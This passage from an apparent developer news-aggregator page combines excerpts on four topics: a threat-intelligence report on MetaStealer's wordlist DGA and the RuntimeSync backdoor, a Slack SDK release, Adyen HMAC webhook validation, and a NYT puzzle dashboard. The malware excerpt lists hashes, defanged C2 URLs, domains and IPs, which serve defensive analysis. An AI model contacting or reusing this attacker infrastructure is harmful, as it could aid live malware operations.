It also analyzes RuntimeSync, a developing malware sample with RAT and backdoor capabilities, and describes using Claude.ai Sonnet 4.6 to reverse engineer its DGA and produce Python simulation code. ### Source excerpt By: Jason Reaves and Joshua Platt In this blog we simply want to highlight a few new additions to what appears to be related to MetaStealer, one is a new wordlist based DGA used by MetaStealer. We also want to highlight that MetaStealer's proxies or 'gates' don't actually care what domain gets used as it's just a config item; they simply pass on the traffic to another server. We also want to highlight a task that was seen delivered to a few bots which is related to MetaStealer but appears to still be in development. This turned out to be a piece of malware that contains RAT/backdoor functionality. Leveraging Claude.ai Sonnet 4.6 we were able to systematically guide the AI to automatically reverse engineer the DGA used in the backdoor malware and provide working python code to simulate it. MetaStealer DGA: As previously mentioned MetaStealers new DGA is based on a wordlist. Below are some recent examples: sea-vast-send.com 46bbaceb6073f196bf7737c67f5394a6465e396bbcbbac1afe5f2f866c995fd0hxxp://pestrear-lamp.xyz:443 d57e132866286f9b4227c7fb1cd77f16a461e76a3f3e71362734741aab6b9a96hxxp://anus-staylard.xyz:443 d1b88ded80f0e616362b8984334c69da1ea2f32d0828480e32978d1a710f40c5 This does not mean, however, that the older DGA is no longer in use; it remains active. The threat actor (TA) has designed their gate servers in such a way that they are largely agnostic to the domain being used. Instead, the IP address, port, URI, and HTTP headers are the more important factors. 155.117.20.75 qocyeicmusmegouw.xyz 213.139.77.254 uumcceymkuymmqou.xyz We didn't focus on this DGA though because during our investigation we stumbled on a piece of malware being actively developed by the same TA that also had a DGA. Backdoor "tracker" During the investigation, we observed a peculiar payload being delivered to several machines: an installer named RuntimeSync, example hash: 82c218357266ce314f523946bdd661cc335a120981c471e95d70af7fbd4d9141 RuntimeSyncExe: PE32+ executable (GUI) x86-64, for MS Win ## Build custom Slack runtimes DevFeed: [Build custom Slack runtimes]() Original publisher: [Read original article]() Author: Ben Sabic Published: 2026-06-02T00:00:00Z Content type: release Language: en Sources: [Vercel News]() Topics: [Slack](), [SDKs](), [API](), [Markdown](), [payload](), [Routing (disambiguation)]() Tags: [api](), [documentation](), [markdown](), [payload](), [routing](), [sdk](), [slack]() ### AI overview Chat SDK now provides Slack adapter primitives as standalone imports, allowing applications to handle their own routing, state, and workflow execution while using only the required functionality. ### Source excerpt Chat SDK now ships the Slack adapter's primitives as standalone imports for apps that already handle their own routing, state, or workflow execution.

It distinguishes payment webhooks, which include the signature in the JSON payload, from other webhooks, which provide it in an HTTP header, and discusses custom validation and Adyen's open-source libraries. ### Source excerpt By Beppe Catanese, Developer Relations, AdyenImage by authorIntroduction When it comes to payments, security isn't optional -- it's essential. If you're integrating with Adyen, ensuring the incoming webhooks' authenticity and integrity is very important. That's where Hash-based Message Authentication Code (HMAC) plays a critical role in securing your Adyen integration. Image by author Implementing, testing, and troubleshooting HMAC validation can be challenging. This guide explains how HMAC validation works, highlights the challenges, and provides tools and best practices for secure and reliable implementation. HMAC at Adyen All Adyen webhooks use HMAC to ensure the integrity and authenticity of the payloads delivered to your integrations. The HMAC key should be enabled when setting up a new webhook (either in the Customer Area Webhook page or using the Management API). Adyen will use the HMAC key to sign the payload by creating an HMAC signature. You must validate the HMAC signature, delivered with the webhook, using the same HMAC key. Adyen webhooks fall into two main categories, each with its approach to HMAC implementation. Let's explore the two scenarios. 1. Payments Webhooks For payments-related webhooks, the calculation of the signature involves using a subset of fields, and it's embedded directly within the JSON payload under the `additionalData` object: { "live":"false", "notificationItems":[ { "NotificationRequestItem":{ "additionalData":{ "hmacSignature":"+JWKfq4ynALK+FFzGgHnp1jSMQJMBJeb87dlph24sXw=" }, ... } } ] }2. Other Webhooks (Adyen for Platforms, Management) For non-payment webhooks, the signature is calculated using the entire JSON payload. Instead of being included in the payload itself, the signature is provided in the HTTP Header `hmacSignature`: content-length: 1614 content-type: application/json hmacsignature: SMQZFOq3oIdugmf97u9TB+5256jjXgUX3MRjK+RlGNQ=Implementing HMAC Validation Developers have two options for implementing HMAC validation: ## Developing an Internal Tool for Our Puzzle Editor DevFeed: [Developing an Internal Tool for Our Puzzle Editor]() Original publisher: [Read original article]() Author: The NYT Open Team Published: 2025-06-02T15:54:44Z Content type: article Language: en Sources: [New York Times]() Topics: [dashboards](), [Data Management](), [interface](), [payload](), [Testing](), [Tool]() Tags: [code](), [dashboard](), [data-management](), [developing](), [interface](), [internal-tools](), [payload](), [puzzle](), [testing](), [tool](), [web-development](), [workflow]() ### AI overview The article describes how The New York Times developed the Connections Reference Dashboard, an internal tool for managing puzzle data and supporting the Connections editor's workflow. It explains the tool's interface, handling of changing puzzle data, search capabilities, and reduction of manual cross-referencing steps. ### Source excerpt How we developed a dashboard tool created to help ease the workflow of managing puzzles for our Connections editor.Illustration by Su Yun Song By Shafik Quoraishee and Wyna Liu In the game Connections, every puzzle is a meticulously crafted challenge designed to captivate our audience and spark intellectual curiosity. Developing these puzzles can sometimes be a time consuming and intricate task. Each puzzle requires planning, beginning with conceptualizing fresh categories and plausible misleads, followed by testing the combinations for balance and solvability, and concluding with refinement and publication-ready formatting. The process requires both creativity and quality control. Wyna Liu, the editor of Connections has the responsibility of constructing and reviewing multiple puzzles spanning various dates, ensuring that each board remains consistent, fresh and challenging to our puzzle solvers. This is a challenging endeavor where there isn't much room for error. In order to address the challenge, we developed the Connections Reference Dashboard -- an in company tool aimed at streamlining data management while providing the puzzle editor with an intuitive, aesthetically pleasing interface that enhances the daily workflow. There were two considerations in developing this tool. Firstly was technical work in handling a dynamically changing payload of puzzle data. We wanted to create a rich and visually resonating interface that was easy to navigate and gave a bit of the feel of the Connections game itself. Therefore, everything from the board results to the search interface was designed with these ergonomics in mind. We wanted to create a level of tactility to the tool which was reminiscent of and which reduced the number of manual steps needed to cross reference both categories and words in individual boards. The primary functionality that Wyna was after was the ability to quickly identify words that have appeared in previous Connections boards, as well as their con [Next page]()
